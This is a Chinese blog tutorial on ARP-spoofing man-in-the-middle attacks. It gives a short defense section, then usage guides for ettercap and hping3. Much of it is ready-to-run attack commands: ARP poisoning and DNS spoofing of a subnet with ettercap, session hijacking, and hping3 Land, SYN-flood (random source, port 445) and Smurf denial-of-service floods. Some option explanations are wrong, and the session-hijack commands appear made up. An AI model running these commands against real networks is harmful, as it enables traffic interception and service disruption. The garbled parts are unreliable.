中间人公鸡之ARP欺骗_TCP

中间人公鸡(Man-in-the-Middle Attack,MITM)是一种网络公鸡放式,公鸡者位于通信双方之间,截获、篡改或伪造通信数据。ARP欺骗(Address Resolution Protocol Spoofing)是实现中间人公鸡的一种常见手段。

ARP协议是用来将网络层的IP地址映射到数据链路层的MAC地址的协议。在局域网中,当一台设备想要与另一台设备通信时,它首先发送ARP请求,询问目标IP地址对应的MAC地址是什么。接收到ARP请求的设备,如果其IP地址与请求中的目标IP地址匹配,就会回复自己的MAC地址。这样,两台设备就可以通过MAC地址进行数据交换了。

ARP欺骗的基本思路是让公鸡者的设备假冒目标设备的MAC地址,使得其他设备误以为公鸡者的设备就是目标设备。这样,公鸡者就可以截获原本应该发送给目标设备的数据包。

下面是一个ARP欺骗公鸡的基本步骤:

  1. 监听网络:公鸡者首先需要监听目标网络的流量,以便发现ARP请求和响应。
  2. 发送伪造的ARP响应:当检测到ARP请求时,公鸡者发送一个伪造的ARP响应,声称自己(公鸡者)的MAC地址就是请求中的目标IP地址的MAC地址。
  3. 建立虚假连接:如果其他设备相信了公鸡者发送的伪造ARP响应,它们就会开始将数据包发送到公鸡者的MAC地址。
  4. 截获和篡改数据:公鸡者现在可以截获发送给目标设备的数据包,并在必要时篡改这些数据包的内容。
  5. 维持公鸡:为了保持中间人状态,公鸡者需要定期发送伪造的ARP响应,以防止网络中的其他设备发现真实的MAC地址。

防御措施

为了防御ARP欺骗公鸡,可以采取以下措施:

  1. 静态ARP记录:在关键设备上设置静态ARP记录,绑定已知的IP地址和MAC地址对,这样可以避免接受伪造的ARP响应。
  2. 使用加密协议:使用端到端的加密协议(如HTTPS、SSH等),即使数据包被截获,公鸡者也无法轻易解密和篡改内容。
  3. 网络监控和入侵检测:部署网络监控和入侵检测系统,及时发现和阻断可疑的ARP响应。
  4. 交换机端口安全:在交换机上配置端口安全,限制可以访问某个端口的MAC地址数量或指定允许的MAC地址。
  5. VLAN隔离:通过VLAN技术将网络分割成多个逻辑子网,减少ARP欺骗的公鸡面。
  6. 使用ARP防护工具:使用一些专门的ARP防护工具,如ArpGuard、Snort等,来检测和防御ARP欺骗公鸡。

通过以上措施,可以在一定程度上降低ARP欺骗公鸡的风险,保护网络的安全性。

ettercap

中间人公鸡之ARP欺骗_IP_02

打开软件


中间人公鸡之ARP欺骗_跟踪路由_03

点击右上角的三个点,选择hosts list

中间人公鸡之ARP欺骗_IP_04

进入主机列表

中间人公鸡之ARP欺骗_跟踪路由_05

将想要欺骗的网关和受害者分别添加到"add to target 1"和"add to target 2

中间人公鸡之ARP欺骗_跟踪路由_06

选择arp

中间人公鸡之ARP欺骗_IP_07

用网管欺骗30IP地址,告诉他我是网管。

中间人公鸡之ARP欺骗_TCP_08

命令行基本用法

  1. 启动 Ettercap

中间人公鸡之ARP欺骗_IP_02

ettercap -i <interface>



其中 <interface> 是你要使用的网络接口,例如 eth0wlan0

  1. 选择公鸡模式
  • 按 Ctrl + A 进入公鸡模式选择菜单。
  • 选择你需要的公鸡模式,例如 ARP Poisoning
  1. 设置目标
  • 按 T 键进入目标设置菜单。
  • 添加目标设备和网关设备的 IP 地址。
  1. 执行公鸡
  • 按 Y 键开始执行公鸡。
  1. 监控流量
  • 在公鸡过程中,Ettercap 会显示捕获的数据包,可以实时监控和分析网络流量。

进阶用法

  1. ARP 欺骗公鸡
  • 步骤
  1. 启动 Ettercap。
  2. 选择 ARP 分类,然后选择 ARP Poisoning 公鸡模式。
  3. 设置目标设备和网关设备的 IP 地址。
  4. 开始执行公鸡。
  • 示例命令
ettercap -T -q -M arp:remote /192.168.1.0/ /192.168.1.254/
  • 其中 -T 表示文本模式,-q 表示安静模式,-M arp:remote 指定使用 ARP 欺骗公鸡模式,/192.168.1.0/ 是目标网络地址,/192.168.1.254/ 是网关 IP 地址。
  1. DNS 欺骗公鸡
  • 步骤
  1. 启动 Ettercap。
  2. 选择 DNS 分类,然后选择 DNS Spoof 公鸡模式。
  3. 设置目标设备的 IP 地址和要欺骗的域名。
  4. 开始执行公鸡。
  • 示例命令
ettercap -T -q -M dns:remote /www.google.com/ /192.168.1.0/
  • 其中 -M dns:remote 指定使用 DNS 欺骗公鸡模式,/www.google.com/ 是要欺骗的域名,/192.168.1.0/ 是目标网络地址。
  1. 会话劫持
  • 步骤
  1. 启动 Ettercap。
  2. 执行 ARP 欺骗公鸡,使目标设备和网关设备之间的流量通过 Ettercap。
  3. 使用 ettercap -S 命令查看当前捕获的会话。
  4. 使用 ettercap -K <session_id> 命令劫持指定会话。
  • 示例命令
ettercap -T -q -M arp:remote /192.168.1.0/ /192.168.1.254/
ettercap -S 
ettercap -K 1
  • 其中 <session_id> 是要劫持的会话 ID。

hping3

中间人公鸡之ARP欺骗_TCP_10

hping3 是一个用于教育和研究目的的网络工具,它可以发送自定义的 TCP/IP 数据包,并显示目标的回复。它类似于 ping 工具,但提供了更多的功能和灵活性,比如支持 TCP、UDP、ICMP 和 RAW-IP 协议,能够跟踪路由模式,能够在覆盖的信道之间发送文件,还支持使用 Tcl 脚本自动化地调用其 API。

基本用法

  1. 安装 hping3
  • 在 Debian/Ubuntu 系统上,可以使用以下命令安装 hping3:
sudo apt-get install hping3
  1. 基本语法
hping3 [options] <target>

其中 <target> 是你要测试的目标 IP 地址或域名。

  1. 常用选项
  • -c count:发送指定数量的数据包。
  • -d data:在数据包中包含指定的数据。
  • -f:开启碎片模式。
  • -i interval:设置数据包发送间隔。
  • -l length:设置数据包长度。
  • -p port:指定目标端口。
  • -s source_port:指定源端口。
  • -t ttl:设置数据包的生存时间(TTL)。
  • -v:增加输出的详细程度。
  • -V:显示版本信息。

示例

中间人公鸡之ARP欺骗_TCP_11

图中的文字主要涉及使用hping3工具发起不同类型的网络公鸡和扫描操作。下面是文字的提取以及相应代码的详解:

  1. LandAttack(源自的地址相同)
  • hping3 -S*c 100 -a <sip> -p 22 <dip>
  • 这行命令是进行Land公鸡,这是一种拒绝服务公鸡,其中源地址和目标地址被设置为相同的值。-S* 表示使用TCP SYN洪水模式,-c 100 表示发送100个数据包,-a <sip> 指定欺骗源IP地址,-p 22 指定目标端口,<dip> 为目标IP地址。
  1. DOS公鸡
  • hping3 -S -d 100 -w 64 -p 445 -s 445 --flood --rand-source <IP>
  • 这是一个针对SMB协议的拒绝服务公鸡命令。-S 使用TCP SYN洪水攻公鸡击,-d 100 设置数据包的大小为100字节,-w 64 设置TCP窗口大小为64字节,-p 445 和 -s 445 分别指定目标端口和源端口为445,这是SMB服务的默认端口,--flood 持续发包,不等待回应,--rand-source 使用随机源IP地址,<IP> 为目标IP地址。
  1. Smurf公鸡
  • hping3 -1 --flood -a <dip> 1.1.1.255
  • Smurf公鸡是一种利用IP广播进行放大的拒绝服务公鸡。-1 表示使用ICMP协议,--flood 持续发包,-a <dip> 指定欺骗的源地址,1.1.1.255 是一个广播地址,用于向该网络内的所有主机发送请求。
  1. 扫描地址掩码
  • hping3 -1 -c 1 -V -C 17 <dip>
  • 这是用来进行ICMP扫描的命令,-1 使用ICMP协议,-c 1 只发送一个数据包,-V 显示版本信息,-C 17 指定ICMP报文的类型为17(地址掩码请求),<dip> 为目标IP地址。
  1. 端口扫描
  • hping3 -c 1 -V -p 80 -s 5050 -<SFXYARPU> <dip>

中间人公鸡之ARP欺骗_跟踪路由_12

  • 这条命令用于对目标主机进行端口扫描。-c 1 发送一个数据包,-V 显示版本信息,-p 80 指定目标端口为80,通常用于HTTP服务,-s 5050 指定本地端口为5050,<SFXYARPU> 可能是某种特定参数或标识,<dip> 为目标IP地址。
  1. 使用sudo权限运行hping3
  • sudo hping3 -8 1-1000 -S 172.31.1.30
  • 这是以sudo权限运行hping3的命令,可能用于确保有足够的权限执行某些操作。-8 表示每个数据包的大小,1-1000 指定发包的范围,-S 使用TCP SYN模式,172.31.1.30 为目标IP地址。

基本用法

  1. 发送 ICMP 数据包
hping3 -c 10 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个 ICMP 数据包。

  1. 发送 TCP 数据包
hping3 -c 10 -p 80 192.168.1.1

这将向目标 IP 地址 192.168.1.1 的 80 端口发送 10 个 TCP 数据包。

  1. 发送 UDP 数据包
hping3 -c 10 -p 53 -u 192.168.1.1

这将向目标 IP 地址 192.168.1.1 的 53 端口发送 10 个 UDP 数据包。

  1. 跟踪路由模式
hping3 -c 10 -t 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,并跟踪它们的路由路径。

进阶用法

  1. 自定义数据包内容
  • 使用 -d 选项可以指定数据包中的数据内容。
hping3 -c 10 -d 'Hello, World!' 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个包含 “Hello, World!” 的数据包。

  1. 设置数据包长度
  • 使用 -l 选项可以指定数据包的长度。
hping3 -c 10 -l 100 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个长度为 100 字节的数据包。

  1. 设置数据包发送间隔
  • 使用 -i 选项可以设置数据包之间的发送间隔。
hping3 -c 10 -i 1.0 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,每个数据包之间间隔 1 秒。

  1. 指定源端口和目标端口
  • 使用 -s 和 -p 选项可以指定源端口和目标端口。
hping3 -c 10 -s 1234 -p 80 192.168.1.1

这将从源端口 1234 向目标 IP 地址 192.168.1.1 的 80 端口发送 10 个数据包。

  1. 设置数据包的 TTL(Time To Live)
  • 使用 -t 选项可以设置数据包的 TTL 值。
hping3 -c 10 -t 10 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个 TTL 值为 10 的数据包。

  1. 使用碎片模式
  • 使用 -f 选项可以启用碎片模式,将数据包分成多个小片段。
hping3 -c 10 -f 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个碎片化的数据包。

  1. 跟踪路由模式
  • 使用 -T 选项可以启用跟踪路由模式(类似traceroute)。
hping3 -c 10 -T 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,并跟踪它们的路由路径。

  1. 使用脚本自动化
  • hping3 支持使用 Tcl 脚本来自动化操作。
hping3 -c 10 -S -p 80 -t 10 -i 1.0 -d 'Hello, World!' -l 100 -s 1234 -T 192.168.1.1

这将向目标 IP 地址 192.168.1.1 发送 10 个数据包,每个数据包之间间隔 1 秒,数据包包含 “Hello, World!”,长度为 100 字节,源端口为 1234,目标端口为 80,TTL 值为 10,并跟踪它们的路由路径。